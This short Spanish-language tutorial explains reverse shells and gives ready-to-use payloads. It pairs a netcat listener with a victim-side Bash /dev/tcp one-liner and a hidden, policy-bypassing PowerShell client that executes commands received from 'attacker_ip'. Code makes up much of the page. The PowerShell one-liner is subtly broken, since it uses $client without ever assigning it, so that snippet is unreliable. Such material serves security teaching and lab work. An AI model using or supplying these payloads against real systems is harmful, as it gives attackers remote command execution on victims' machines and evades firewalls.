¿Reverse Shell?

Una reverse shell es un tipo de shell donde el flujo de comunicación se invierte. En lugar de que el atacante se conecte directamente a la máquina objetivo, la máquina objetivo establece una conexión de vuelta al atacante. Esto puede ayudar a evadir firewalls y otras medidas de seguridad que bloquean conexiones entrantes.

https://www.revshells.com/

Funcionamiento de una Reverse Shell

  1. Atacante: Inicia un listener en su máquina para esperar conexiones entrantes.

  2. Víctima: Ejecuta un payload que abre una conexión hacia la máquina del atacante.

  3. Control Remoto: Una vez establecida la conexión, el atacante puede enviar comandos y controlar el sistema de la víctima.

Ejemplo de Reverse Shell en Bash (Linux):

Atacante:

nc -lvnp 4444

Víctima:

bash -i >& /dev/tcp/attacker_ip/4444 0>&1

Ejemplo de Reverse Shell en PowerShell (Windows):

Atacante:

nc -lvnp 4444

Víctima:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Última actualización